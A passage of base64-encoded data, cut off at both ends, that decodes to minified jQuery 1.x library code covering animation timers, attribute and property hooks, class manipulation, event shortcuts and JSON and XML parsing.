lmW2VdLmVsZW0hPT10aGlzfHxudWxsIT1hJiZmW2VdLnF1ZXVlIT09YXx8KGZbZV0uYW5pbS5zdG9wKGMpLGI9ITEsZi5zcGxpY2UoZSwxKSk7KGJ8fCFjKSYmbi5kZXF1ZXVlKHRoaXMsYSl9KX0sZmluaXNoOmZ1bmN0aW9uKGEpe3JldHVybiBhIT09ITEmJihhPWF8fCJmeCIpLHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBiLGM9bi5fZGF0YSh0aGlzKSxkPWNbYSsicXVldWUiXSxlPWNbYSsicXVldWVIb29rcyJdLGY9bi50aW1lcnMsZz1kP2QubGVuZ3RoOjA7Zm9yKGMuZmluaXNoPSEwLG4ucXVldWUodGhpcyxhLFtdKSxlJiZlLnN0b3AmJmUuc3RvcC5jYWxsKHRoaXMsITApLGI9Zi5sZW5ndGg7Yi0tOylmW2JdLmVsZW09PT10aGlzJiZmW2JdLnF1ZXVlPT09YSYmKGZbYl0uYW5pbS5zdG9wKCEwKSxmLnNwbGljZShiLDEpKTtmb3IoYj0wO2c+YjtiKyspZFtiXSYmZFtiXS5maW5pc2gmJmRbYl0uZmluaXNoLmNhbGwodGhpcyk7ZGVsZXRlIGMuZmluaXNofSl9fSksbi5lYWNoKFsidG9nZ2xlIiwic2hvdyIsImhpZGUiXSxmdW5jdGlvbihhLGIpe3ZhciBjPW4uZm5bYl07bi5mbltiXT1mdW5jdGlvbihhLGQsZSl7cmV0dXJuIG51bGw9PWF8fCJib29sZWFuIj09dHlwZW9mIGE/Yy5hcHBseSh0aGlzLGFyZ3VtZW50cyk6dGhpcy5hbmltYXRlKGhjKGIsITApLGEsZCxlKX19KSxuLmVhY2goe3NsaWRlRG93bjpoYygic2hvdyIpLHNsaWRlVXA6aGMoImhpZGUiKSxzbGlkZVRvZ2dsZTpoYygidG9nZ2xlIiksZmFkZUluOntvcGFjaXR5OiJzaG93In0sZmFkZU91dDp7b3BhY2l0eToiaGlkZSJ9LGZhZGVUb2dnbGU6e29wYWNpdHk6InRvZ2dsZSJ9fSxmdW5jdGlvbihhLGIpe24uZm5bYV09ZnVuY3Rpb24oYSxjLGQpe3JldHVybiB0aGlzLmFuaW1hdGUoYixhLGMsZCl9fSksbi50aW1lcnM9W10sbi5meC50aWNrPWZ1bmN0aW9uKCl7dmFyIGEsYj1uLnRpbWVycyxjPTA7Zm9yKF9iPW4ubm93KCk7YzxiLmxlbmd0aDtjKyspYT1iW2NdLGEoKXx8YltjXSE9PWF8fGIuc3BsaWNlKGMtLSwxKTtiLmxlbmd0aHx8bi5meC5zdG9wKCksX2I9dm9pZCAwfSxuLmZ4LnRpbWVyPWZ1bmN0aW9uKGEpe24udGltZXJzLnB1c2goYSksYSgpP24uZnguc3RhcnQoKTpuLnRpbWVycy5wb3AoKX0sbi5meC5pbnRlcnZhbD0xMyxuLmZ4LnN0YXJ0PWZ1bmN0aW9uKCl7YWN8fChhYz1zZXRJbnRlcnZhbChuLmZ4LnRpY2ssbi5meC5pbnRlcnZhbCkpfSxuLmZ4LnN0b3A9ZnVuY3Rpb24oKXtjbGVhckludGVydmFsKGFjKSxhYz1udWxsfSxuLmZ4LnNwZWVkcz17c2xvdzo2MDAsZmFzdDoyMDAsX2RlZmF1bHQ6NDAwfSxuLmZuLmRlbGF5PWZ1bmN0aW9uKGEsYil7cmV0dXJuIGE9bi5meD9uLmZ4LnNwZWVkc1thXXx8YTphLGI9Ynx8ImZ4Iix0aGlzLnF1ZXVlKGIsZnVuY3Rpb24oYixjKXt2YXIgZD1zZXRUaW1lb3V0KGIsYSk7Yy5zdG9wPWZ1bmN0aW9uKCl7Y2xlYXJUaW1lb3V0KGQpfX0pfSxmdW5jdGlvbigpe3ZhciBhLGIsYyxkLGU9ei5jcmVhdGVFbGVtZW50KCJkaXYiKTtlLnNldEF0dHJpYnV0ZSgiY2xhc3NOYW1lIiwidCIpLGUuaW5uZXJIVE1MPSIgIDxsaW5rLz48dGFibGU+PC90YWJsZT48YSBocmVmPScvYSc+YTwvYT48aW5wdXQgdHlwZT0nY2hlY2tib3gnLz4iLGE9ZS5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpWzBdLGM9ei5jcmVhdGVFbGVtZW50KCJzZWxlY3QiKSxkPWMuYXBwZW5kQ2hpbGQoei5jcmVhdGVFbGVtZW50KCJvcHRpb24iKSksYj1lLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpWzBdLGEuc3R5bGUuY3NzVGV4dD0idG9wOjFweCIsbC5nZXRTZXRBdHRyaWJ1dGU9InQiIT09ZS5jbGFzc05hbWUsbC5zdHlsZT0vdG9wLy50ZXN0KGEuZ2V0QXR0cmlidXRlKCJzdHlsZSIpKSxsLmhyZWZOb3JtYWxpemVkPSIvYSI9PT1hLmdldEF0dHJpYnV0ZSgiaHJlZiIpLGwuY2hlY2tPbj0hIWIudmFsdWUsbC5vcHRTZWxlY3RlZD1kLnNlbGVjdGVkLGwuZW5jdHlwZT0hIXouY3JlYXRlRWxlbWVudCgiZm9ybSIpLmVuY3R5cGUsYy5kaXNhYmxlZD0hMCxsLm9wdERpc2FibGVkPSFkLmRpc2FibGVkLGI9ei5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLGIuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIiIpLGwuaW5wdXQ9IiI9PT1iLmdldEF0dHJpYnV0ZSgidmFsdWUiKSxiLnZhbHVlPSJ0IixiLnNldEF0dHJpYnV0ZSgidHlwZSIsInJhZGlvIiksbC5yYWRpb1ZhbHVlPSJ0Ij09PWIudmFsdWUsYT1iPWM9ZD1lPW51bGx9KCk7dmFyIG1jPS9cci9nO24uZm4uZXh0ZW5kKHt2YWw6ZnVuY3Rpb24oYSl7dmFyIGIsYyxkLGU9dGhpc1swXTt7aWYoYXJndW1lbnRzLmxlbmd0aClyZXR1cm4gZD1uLmlzRnVuY3Rpb24oYSksdGhpcy5lYWNoKGZ1bmN0aW9uKGMpe3ZhciBlOzE9PT10aGlzLm5vZGVUeXBlJiYoZT1kP2EuY2FsbCh0aGlzLGMsbih0aGlzKS52YWwoKSk6YSxudWxsPT1lP2U9IiI6Im51bWJlciI9PXR5cGVvZiBlP2UrPSIiOm4uaXNBcnJheShlKSYmKGU9bi5tYXAoZSxmdW5jdGlvbihhKXtyZXR1cm4gbnVsbD09YT8iIjphKyIifSkpLGI9bi52YWxIb29rc1t0aGlzLnR5cGVdfHxuLnZhbEhvb2tzW3RoaXMubm9kZU5hbWUudG9Mb3dlckNhc2UoKV0sYiYmInNldCJpbiBiJiZ2b2lkIDAhPT1iLnNldCh0aGlzLGUsInZhbHVlIil8fCh0aGlzLnZhbHVlPWUpKX0pO2lmKGUpcmV0dXJuIGI9bi52YWxIb29rc1tlLnR5cGVdfHxuLnZhbEhvb2tzW2Uubm9kZU5hbWUudG9Mb3dlckNhc2UoKV0sYiYmImdldCJpbiBiJiZ2b2lkIDAhPT0oYz1iLmdldChlLCJ2YWx1ZSIpKT9jOihjPWUudmFsdWUsInN0cmluZyI9PXR5cGVvZiBjP2MucmVwbGFjZShtYywiIik6bnVsbD09Yz8iIjpjKX19fSksbi5leHRlbmQoe3ZhbEhvb2tzOntvcHRpb246e2dldDpmdW5jdGlvbihhKXt2YXIgYj1uLmZpbmQuYXR0cihhLCJ2YWx1ZSIpO3JldHVybiBudWxsIT1iP2I6bi50ZXh0KGEpfX0sc2VsZWN0OntnZXQ6ZnVuY3Rpb24oYSl7Zm9yKHZhciBiLGMsZD1hLm9wdGlvbnMsZT1hLnNlbGVjdGVkSW5kZXgsZj0ic2VsZWN0LW9uZSI9PT1hLnR5cGV8fDA+ZSxnPWY/bnVsbDpbXSxoPWY/ZSsxOmQubGVuZ3RoLGk9MD5lP2g6Zj9lOjA7aD5pO2krKylpZihjPWRbaV0sISghYy5zZWxlY3RlZCYmaSE9PWV8fChsLm9wdERpc2FibGVkP2MuZGlzYWJsZWQ6bnVsbCE9PWMuZ2V0QXR0cmlidXRlKCJkaXNhYmxlZCIpKXx8Yy5wYXJlbnROb2RlLmRpc2FibGVkJiZuLm5vZGVOYW1lKGMucGFyZW50Tm9kZSwib3B0Z3JvdXAiKSkpe2lmKGI9bihjKS52YWwoKSxmKXJldHVybiBiO2cucHVzaChiKX1yZXR1cm4gZ30sc2V0OmZ1bmN0aW9uKGEsYil7dmFyIGMsZCxlPWEub3B0aW9ucyxmPW4ubWFrZUFycmF5KGIpLGc9ZS5sZW5ndGg7d2hpbGUoZy0tKWlmKGQ9ZVtnXSxuLmluQXJyYXkobi52YWxIb29rcy5vcHRpb24uZ2V0KGQpLGYpPj0wKXRyeXtkLnNlbGVjdGVkPWM9ITB9Y2F0Y2goaCl7ZC5zY3JvbGxIZWlnaHR9ZWxzZSBkLnNlbGVjdGVkPSExO3JldHVybiBjfHwoYS5zZWxlY3RlZEluZGV4PS0xKSxlfX19fSksbi5lYWNoKFsicmFkaW8iLCJjaGVja2JveCJdLGZ1bmN0aW9uKCl7bi52YWxIb29rc1t0aGlzXT17c2V0OmZ1bmN0aW9uKGEsYil7cmV0dXJuIG4uaXNBcnJheShiKT9hLmNoZWNrZWQ9bi5pbkFycmF5KG4oYSkudmFsKCksYik+PTA6dm9pZCAwfX0sbC5jaGVja09ufHwobi52YWxIb29rc1t0aGlzXS5nZXQ9ZnVuY3Rpb24oYSl7cmV0dXJuIG51bGw9PT1hLmdldEF0dHJpYnV0ZSgidmFsdWUiKT8ib24iOmEudmFsdWV9KX0pO3ZhciBuYyxvYyxwYz1uLmV4cHIuYXR0ckhhbmRsZSxxYz0vXig/OmNoZWNrZWR8c2VsZWN0ZWQpJC9pLHJjPWwuZ2V0U2V0QXR0cmlidXRlLHNjPWwuaW5wdXQ7bi5mbi5leHRlbmQoe2F0dHI6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gVyh0aGlzLG4uYXR0cixhLGIsYXJndW1lbnRzLmxlbmd0aD4xKX0scmVtb3ZlQXR0cjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7bi5yZW1vdmVBdHRyKHRoaXMsYSl9KX19KSxuLmV4dGVuZCh7YXR0cjpmdW5jdGlvbihhLGIsYyl7dmFyIGQsZSxmPWEubm9kZVR5cGU7aWYoYSYmMyE9PWYmJjghPT1mJiYyIT09ZilyZXR1cm4gdHlwZW9mIGEuZ2V0QXR0cmlidXRlPT09TD9uLnByb3AoYSxiLGMpOigxPT09ZiYmbi5pc1hNTERvYyhhKXx8KGI9Yi50b0xvd2VyQ2FzZSgpLGQ9bi5hdHRySG9va3NbYl18fChuLmV4cHIubWF0Y2guYm9vbC50ZXN0KGIpP29jOm5jKSksdm9pZCAwPT09Yz9kJiYiZ2V0ImluIGQmJm51bGwhPT0oZT1kLmdldChhLGIpKT9lOihlPW4uZmluZC5hdHRyKGEsYiksbnVsbD09ZT92b2lkIDA6ZSk6bnVsbCE9PWM/ZCYmInNldCJpbiBkJiZ2b2lkIDAhPT0oZT1kLnNldChhLGMsYikpP2U6KGEuc2V0QXR0cmlidXRlKGIsYysiIiksYyk6dm9pZCBuLnJlbW92ZUF0dHIoYSxiKSl9LHJlbW92ZUF0dHI6ZnVuY3Rpb24oYSxiKXt2YXIgYyxkLGU9MCxmPWImJmIubWF0Y2goRik7aWYoZiYmMT09PWEubm9kZVR5cGUpd2hpbGUoYz1mW2UrK10pZD1uLnByb3BGaXhbY118fGMsbi5leHByLm1hdGNoLmJvb2wudGVzdChjKT9zYyYmcmN8fCFxYy50ZXN0KGMpP2FbZF09ITE6YVtuLmNhbWVsQ2FzZSgiZGVmYXVsdC0iK2MpXT1hW2RdPSExOm4uYXR0cihhLGMsIiIpLGEucmVtb3ZlQXR0cmlidXRlKHJjP2M6ZCl9LGF0dHJIb29rczp7dHlwZTp7c2V0OmZ1bmN0aW9uKGEsYil7aWYoIWwucmFkaW9WYWx1ZSYmInJhZGlvIj09PWImJm4ubm9kZU5hbWUoYSwiaW5wdXQiKSl7dmFyIGM9YS52YWx1ZTtyZXR1cm4gYS5zZXRBdHRyaWJ1dGUoInR5cGUiLGIpLGMmJihhLnZhbHVlPWMpLGJ9fX19fSksb2M9e3NldDpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIGI9PT0hMT9uLnJlbW92ZUF0dHIoYSxjKTpzYyYmcmN8fCFxYy50ZXN0KGMpP2Euc2V0QXR0cmlidXRlKCFyYyYmbi5wcm9wRml4W2NdfHxjLGMpOmFbbi5jYW1lbENhc2UoImRlZmF1bHQtIitjKV09YVtjXT0hMCxjfX0sbi5lYWNoKG4uZXhwci5tYXRjaC5ib29sLnNvdXJjZS5tYXRjaCgvXHcrL2cpLGZ1bmN0aW9uKGEsYil7dmFyIGM9cGNbYl18fG4uZmluZC5hdHRyO3BjW2JdPXNjJiZyY3x8IXFjLnRlc3QoYik/ZnVuY3Rpb24oYSxiLGQpe3ZhciBlLGY7cmV0dXJuIGR8fChmPXBjW2JdLHBjW2JdPWUsZT1udWxsIT1jKGEsYixkKT9iLnRvTG93ZXJDYXNlKCk6bnVsbCxwY1tiXT1mKSxlfTpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIGM/dm9pZCAwOmFbbi5jYW1lbENhc2UoImRlZmF1bHQtIitiKV0/Yi50b0xvd2VyQ2FzZSgpOm51bGx9fSksc2MmJnJjfHwobi5hdHRySG9va3MudmFsdWU9e3NldDpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIG4ubm9kZU5hbWUoYSwiaW5wdXQiKT92b2lkKGEuZGVmYXVsdFZhbHVlPWIpOm5jJiZuYy5zZXQoYSxiLGMpfX0pLHJjfHwobmM9e3NldDpmdW5jdGlvbihhLGIsYyl7dmFyIGQ9YS5nZXRBdHRyaWJ1dGVOb2RlKGMpO3JldHVybiBkfHxhLnNldEF0dHJpYnV0ZU5vZGUoZD1hLm93bmVyRG9jdW1lbnQuY3JlYXRlQXR0cmlidXRlKGMpKSxkLnZhbHVlPWIrPSIiLCJ2YWx1ZSI9PT1jfHxiPT09YS5nZXRBdHRyaWJ1dGUoYyk/Yjp2b2lkIDB9fSxwYy5pZD1wYy5uYW1lPXBjLmNvb3Jkcz1mdW5jdGlvbihhLGIsYyl7dmFyIGQ7cmV0dXJuIGM/dm9pZCAwOihkPWEuZ2V0QXR0cmlidXRlTm9kZShiKSkmJiIiIT09ZC52YWx1ZT9kLnZhbHVlOm51bGx9LG4udmFsSG9va3MuYnV0dG9uPXtnZXQ6ZnVuY3Rpb24oYSxiKXt2YXIgYz1hLmdldEF0dHJpYnV0ZU5vZGUoYik7cmV0dXJuIGMmJmMuc3BlY2lmaWVkP2MudmFsdWU6dm9pZCAwfSxzZXQ6bmMuc2V0fSxuLmF0dHJIb29rcy5jb250ZW50ZWRpdGFibGU9e3NldDpmdW5jdGlvbihhLGIsYyl7bmMuc2V0KGEsIiI9PT1iPyExOmIsYyl9fSxuLmVhY2goWyJ3aWR0aCIsImhlaWdodCJdLGZ1bmN0aW9uKGEsYil7bi5hdHRySG9va3NbYl09e3NldDpmdW5jdGlvbihhLGMpe3JldHVybiIiPT09Yz8oYS5zZXRBdHRyaWJ1dGUoYiwiYXV0byIpLGMpOnZvaWQgMH19fSkpLGwuc3R5bGV8fChuLmF0dHJIb29rcy5zdHlsZT17Z2V0OmZ1bmN0aW9uKGEpe3JldHVybiBhLnN0eWxlLmNzc1RleHR8fHZvaWQgMH0sc2V0OmZ1bmN0aW9uKGEsYil7cmV0dXJuIGEuc3R5bGUuY3NzVGV4dD1iKyIifX0pO3ZhciB0Yz0vXig/OmlucHV0fHNlbGVjdHx0ZXh0YXJlYXxidXR0b258b2JqZWN0KSQvaSx1Yz0vXig/OmF8YXJlYSkkL2k7bi5mbi5leHRlbmQoe3Byb3A6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gVyh0aGlzLG4ucHJvcCxhLGIsYXJndW1lbnRzLmxlbmd0aD4xKX0scmVtb3ZlUHJvcDpmdW5jdGlvbihhKXtyZXR1cm4gYT1uLnByb3BGaXhbYV18fGEsdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dHJ5e3RoaXNbYV09dm9pZCAwLGRlbGV0ZSB0aGlzW2FdfWNhdGNoKGIpe319KX19KSxuLmV4dGVuZCh7cHJvcEZpeDp7ImZvciI6Imh0bWxGb3IiLCJjbGFzcyI6ImNsYXNzTmFtZSJ9LHByb3A6ZnVuY3Rpb24oYSxiLGMpe3ZhciBkLGUsZixnPWEubm9kZVR5cGU7aWYoYSYmMyE9PWcmJjghPT1nJiYyIT09ZylyZXR1cm4gZj0xIT09Z3x8IW4uaXNYTUxEb2MoYSksZiYmKGI9bi5wcm9wRml4W2JdfHxiLGU9bi5wcm9wSG9va3NbYl0pLHZvaWQgMCE9PWM/ZSYmInNldCJpbiBlJiZ2b2lkIDAhPT0oZD1lLnNldChhLGMsYikpP2Q6YVtiXT1jOmUmJiJnZXQiaW4gZSYmbnVsbCE9PShkPWUuZ2V0KGEsYikpP2Q6YVtiXX0scHJvcEhvb2tzOnt0YWJJbmRleDp7Z2V0OmZ1bmN0aW9uKGEpe3ZhciBiPW4uZmluZC5hdHRyKGEsInRhYmluZGV4Iik7cmV0dXJuIGI/cGFyc2VJbnQoYiwxMCk6dGMudGVzdChhLm5vZGVOYW1lKXx8dWMudGVzdChhLm5vZGVOYW1lKSYmYS5ocmVmPzA6LTF9fX19KSxsLmhyZWZOb3JtYWxpemVkfHxuLmVhY2goWyJocmVmIiwic3JjIl0sZnVuY3Rpb24oYSxiKXtuLnByb3BIb29rc1tiXT17Z2V0OmZ1bmN0aW9uKGEpe3JldHVybiBhLmdldEF0dHJpYnV0ZShiLDQpfX19KSxsLm9wdFNlbGVjdGVkfHwobi5wcm9wSG9va3Muc2VsZWN0ZWQ9e2dldDpmdW5jdGlvbihhKXt2YXIgYj1hLnBhcmVudE5vZGU7cmV0dXJuIGImJihiLnNlbGVjdGVkSW5kZXgsYi5wYXJlbnROb2RlJiZiLnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCksbnVsbH19KSxuLmVhY2goWyJ0YWJJbmRleCIsInJlYWRPbmx5IiwibWF4TGVuZ3RoIiwiY2VsbFNwYWNpbmciLCJjZWxsUGFkZGluZyIsInJvd1NwYW4iLCJjb2xTcGFuIiwidXNlTWFwIiwiZnJhbWVCb3JkZXIiLCJjb250ZW50RWRpdGFibGUiXSxmdW5jdGlvbigpe24ucHJvcEZpeFt0aGlzLnRvTG93ZXJDYXNlKCldPXRoaXN9KSxsLmVuY3R5cGV8fChuLnByb3BGaXguZW5jdHlwZT0iZW5jb2RpbmciKTt2YXIgdmM9L1tcdFxyXG5cZl0vZztuLmZuLmV4dGVuZCh7YWRkQ2xhc3M6ZnVuY3Rpb24oYSl7dmFyIGIsYyxkLGUsZixnLGg9MCxpPXRoaXMubGVuZ3RoLGo9InN0cmluZyI9PXR5cGVvZiBhJiZhO2lmKG4uaXNGdW5jdGlvbihhKSlyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGIpe24odGhpcykuYWRkQ2xhc3MoYS5jYWxsKHRoaXMsYix0aGlzLmNsYXNzTmFtZSkpfSk7aWYoailmb3IoYj0oYXx8IiIpLm1hdGNoKEYpfHxbXTtpPmg7aCsrKWlmKGM9dGhpc1toXSxkPTE9PT1jLm5vZGVUeXBlJiYoYy5jbGFzc05hbWU/KCIgIitjLmNsYXNzTmFtZSsiICIpLnJlcGxhY2UodmMsIiAiKToiICIpKXtmPTA7d2hpbGUoZT1iW2YrK10pZC5pbmRleE9mKCIgIitlKyIgIik8MCYmKGQrPWUrIiAiKTtnPW4udHJpbShkKSxjLmNsYXNzTmFtZSE9PWcmJihjLmNsYXNzTmFtZT1nKX1yZXR1cm4gdGhpc30scmVtb3ZlQ2xhc3M6ZnVuY3Rpb24oYSl7dmFyIGIsYyxkLGUsZixnLGg9MCxpPXRoaXMubGVuZ3RoLGo9MD09PWFyZ3VtZW50cy5sZW5ndGh8fCJzdHJpbmciPT10eXBlb2YgYSYmYTtpZihuLmlzRnVuY3Rpb24oYSkpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXtuKHRoaXMpLnJlbW92ZUNsYXNzKGEuY2FsbCh0aGlzLGIsdGhpcy5jbGFzc05hbWUpKX0pO2lmKGopZm9yKGI9KGF8fCIiKS5tYXRjaChGKXx8W107aT5oO2grKylpZihjPXRoaXNbaF0sZD0xPT09Yy5ub2RlVHlwZSYmKGMuY2xhc3NOYW1lPygiICIrYy5jbGFzc05hbWUrIiAiKS5yZXBsYWNlKHZjLCIgIik6IiIpKXtmPTA7d2hpbGUoZT1iW2YrK10pd2hpbGUoZC5pbmRleE9mKCIgIitlKyIgIik+PTApZD1kLnJlcGxhY2UoIiAiK2UrIiAiLCIgIik7Zz1hP24udHJpbShkKToiIixjLmNsYXNzTmFtZSE9PWcmJihjLmNsYXNzTmFtZT1nKX1yZXR1cm4gdGhpc30sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24oYSxiKXt2YXIgYz10eXBlb2YgYTtyZXR1cm4iYm9vbGVhbiI9PXR5cGVvZiBiJiYic3RyaW5nIj09PWM/Yj90aGlzLmFkZENsYXNzKGEpOnRoaXMucmVtb3ZlQ2xhc3MoYSk6dGhpcy5lYWNoKG4uaXNGdW5jdGlvbihhKT9mdW5jdGlvbihjKXtuKHRoaXMpLnRvZ2dsZUNsYXNzKGEuY2FsbCh0aGlzLGMsdGhpcy5jbGFzc05hbWUsYiksYil9OmZ1bmN0aW9uKCl7aWYoInN0cmluZyI9PT1jKXt2YXIgYixkPTAsZT1uKHRoaXMpLGY9YS5tYXRjaChGKXx8W107d2hpbGUoYj1mW2QrK10pZS5oYXNDbGFzcyhiKT9lLnJlbW92ZUNsYXNzKGIpOmUuYWRkQ2xhc3MoYil9ZWxzZShjPT09THx8ImJvb2xlYW4iPT09YykmJih0aGlzLmNsYXNzTmFtZSYmbi5fZGF0YSh0aGlzLCJfX2NsYXNzTmFtZV9fIix0aGlzLmNsYXNzTmFtZSksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWV8fGE9PT0hMT8iIjpuLl9kYXRhKHRoaXMsIl9fY2xhc3NOYW1lX18iKXx8IiIpfSl9LGhhc0NsYXNzOmZ1bmN0aW9uKGEpe2Zvcih2YXIgYj0iICIrYSsiICIsYz0wLGQ9dGhpcy5sZW5ndGg7ZD5jO2MrKylpZigxPT09dGhpc1tjXS5ub2RlVHlwZSYmKCIgIit0aGlzW2NdLmNsYXNzTmFtZSsiICIpLnJlcGxhY2UodmMsIiAiKS5pbmRleE9mKGIpPj0wKXJldHVybiEwO3JldHVybiExfX0pLG4uZWFjaCgiYmx1ciBmb2N1cyBmb2N1c2luIGZvY3Vzb3V0IGxvYWQgcmVzaXplIHNjcm9sbCB1bmxvYWQgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBzdWJtaXQga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBlcnJvciBjb250ZXh0bWVudSIuc3BsaXQoIiAiKSxmdW5jdGlvbihhLGIpe24uZm5bYl09ZnVuY3Rpb24oYSxjKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD4wP3RoaXMub24oYixudWxsLGEsYyk6dGhpcy50cmlnZ2VyKGIpfX0pLG4uZm4uZXh0ZW5kKHtob3ZlcjpmdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLm1vdXNlZW50ZXIoYSkubW91c2VsZWF2ZShifHxhKX0sYmluZDpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYSxudWxsLGIsYyl9LHVuYmluZDpmdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLm9mZihhLG51bGwsYil9LGRlbGVnYXRlOmZ1bmN0aW9uKGEsYixjLGQpe3JldHVybiB0aGlzLm9uKGIsYSxjLGQpfSx1bmRlbGVnYXRlOmZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gMT09PWFyZ3VtZW50cy5sZW5ndGg/dGhpcy5vZmYoYSwiKioiKTp0aGlzLm9mZihiLGF8fCIqKiIsYyl9fSk7dmFyIHdjPW4ubm93KCkseGM9L1w/Lyx5Yz0vKCwpfChcW3x7KXwofXxdKXwiKD86W14iXFxcclxuXXxcXFsiXFxcL2JmbnJ0XXxcXHVbXGRhLWZBLUZdezR9KSoiXHMqOj98dHJ1ZXxmYWxzZXxudWxsfC0/KD8hMFxkKVxkKyg/OlwuXGQrfCkoPzpbZUVdWystXT9cZCt8KS9nO24ucGFyc2VKU09OPWZ1bmN0aW9uKGIpe2lmKGEuSlNPTiYmYS5KU09OLnBhcnNlKXJldHVybiBhLkpTT04ucGFyc2UoYisiIik7dmFyIGMsZD1udWxsLGU9bi50cmltKGIrIiIpO3JldHVybiBlJiYhbi50cmltKGUucmVwbGFjZSh5YyxmdW5jdGlvbihhLGIsZSxmKXtyZXR1cm4gYyYmYiYmKGQ9MCksMD09PWQ/YTooYz1lfHxiLGQrPSFmLSFlLCIiKX0pKT9GdW5jdGlvbigicmV0dXJuICIrZSkoKTpuLmVycm9yKCJJbnZhbGlkIEpTT046ICIrYil9LG4ucGFyc2VYTUw9ZnVuY3Rpb24oYil7dmFyIGMsZDtpZighYnx8InN0cmluZyIhPXR5cGVvZiBiKXJldHVybiBudWxsO3RyeXthLkRPTVBhcnNlcj8oZD1uZXcgRE9NUGFyc2VyLGM9ZC5wYXJzZUZyb21TdHJpbmcoYiwidGV4dC94bWwiKSk6KGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxET00iKSxjLmFzeW5jPSJmYWxzZSIsYy5sb2FkWE1MKGIpKX1jYXRjaChlKXtjPXZvaWQgMH1yZXR1cm4gYyYmYy5kb2N1bWVudEVsZW1lbnQmJiFjLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJwYXJzZXJlcnJvciIpLmxlbmd0aHx8bi5lcnJvcigiSW52YWxpZCBYTUw6ICIrYiksY307dmFyIHpjLEFjLEJjPS8jLiokLyxDYz0vKFs/Jl0pXz1bXiZdKi8sRGM9L14oLio/KTpbIFx0XSooW15cclxuXSopXHI/JC9nbSxFYz0vXig/OmFib3V0fGFwcHxhcHAtc3RvcmFnZXwuKy1leHRlbnNpb258ZmlsZXxyZXN8d2lkZ2V0KTokLyxGYz0vXig/OkdFVHxIRUFEKSQvLEdjPS9eXC9cLy8sSGM9L14oW1x3ListXSs6KSg/OlwvXC8oPzpbXlwvPyNdKkB8KShbXlwvPyM6XSopKD86OihcZCspfCl8KS8sSWM9e30sSmM9e30sS2M9IiovIi5jb25jYXQoIioiKTt0cnl7QWM9bG9jYXRpb24uaHJlZn1jYXRjaChMYyl7QWM9ei5jcmVhdGVFbGVtZW50KCJhIiksQWMuaHJlZj0iIixBYz1BYy5ocmVmfXpjPUhjLmV4ZWMoQWMudG9Mb3dlckNhc2UoKSl8fFtdO2Z1bmN0aW9uIE1jKGEpe3JldHVybiBmdW5jdGlvbihiLGMpeyJzdHJpbmciIT10eXBlb2YgYiYmKGM9YixiPSIqIik7dmFyIGQsZT0wLGY9Yi50b0xvd2VyQ2FzZSgpLm1hdGNoKEYpfHxbXTtpZihuLmlzRnVuY3Rpb24oYykpd2hpbGUoZD1mW2UrK10pIisiPT09ZC5jaGFyQXQoMCk/KGQ9ZC5zbGljZSgxKXx8IioiLChhW2RdPWFbZF18fFtdKS51bnNoaWZ0KGMpKTooYVtkXT1hW2RdfHxbXSkucHVzaChjKX19ZnVuY3Rpb24gTmMoYSxiLGMsZCl7dmFyIGU9e30sZj1hPT09SmM7ZnVuY3Rpb24gZyhoKXt2YXIgaTtyZXR1cm4gZVtoXT0hMCxuLmVhY2goYVtoXXx8W10sZnVuY3Rpb24oYSxoKXt2YXIgaj1oKGIsYyxkKTtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIGp8fGZ8fGVbal0/Zj8hKGk9aik6dm9pZCAwOihiLmRhdGFUeXBlcy51bnNoaWZ0KGopLGcoaiksITEpfSksaX1yZXR1cm4gZyhiLmRhdGFUeXBlc1swXSl8fCFlWyIqIl0mJmcoIioiKX1mdW5jdGlvbiBPYyhhLGIpe3ZhciBjLGQsZT1uLmFqYXhTZXR0aW5ncy5mbGF0T3B0aW9uc3x8e307Zm9yKGQgaW4gYil2b2lkIDAhPT1iW2RdJiYoKGVbZF0/YTpjfHwoYz17fSkpW2RdPWJbZF0pO3JldHVybiBjJiZuLmV4dGVuZCghMCxhLGMpLGF9ZnVuY3Rpb24gUGMoYSxiLGMpe3ZhciBkLGUsZixnLGg9YS5jb250ZW50cyxpPWEuZGF0YVR5cGVzO3doaWxlKCIqIj09PWlbMF0paS5zaGlmdCgpLHZvaWQgMD09PWUmJihlPWEubWltZVR5cGV8fGIuZ2V0UmVzcG9uc2VIZWFkZXIoIkNvbnRlbnQtVHlwZSIpKTtpZihlKWZvcihnIGluIGgpaWYoaFtnXSYmaFtnXS50ZXN0KGUpKXtpLnVuc2hpZnQoZyk7YnJlYWt9aWYoaVswXWluIGMpZj1pWzBdO2Vsc2V7Zm9yKGcgaW4gYyl7aWYoIWlbMF18fGEuY29udmVydGVyc1tnKyIgIitpWzBdXSl7Zj1nO2JyZWFrfWR8fChkPWcpfWY9Znx8ZH1yZXR1cm4gZj8oZiE9PWlbMF0mJmkudW5zaGlmdChmKSxjW2ZdKTp2b2lkIDB9ZnVuY3Rpb24gUWMoYSxiLGMsZCl7dmFyIGU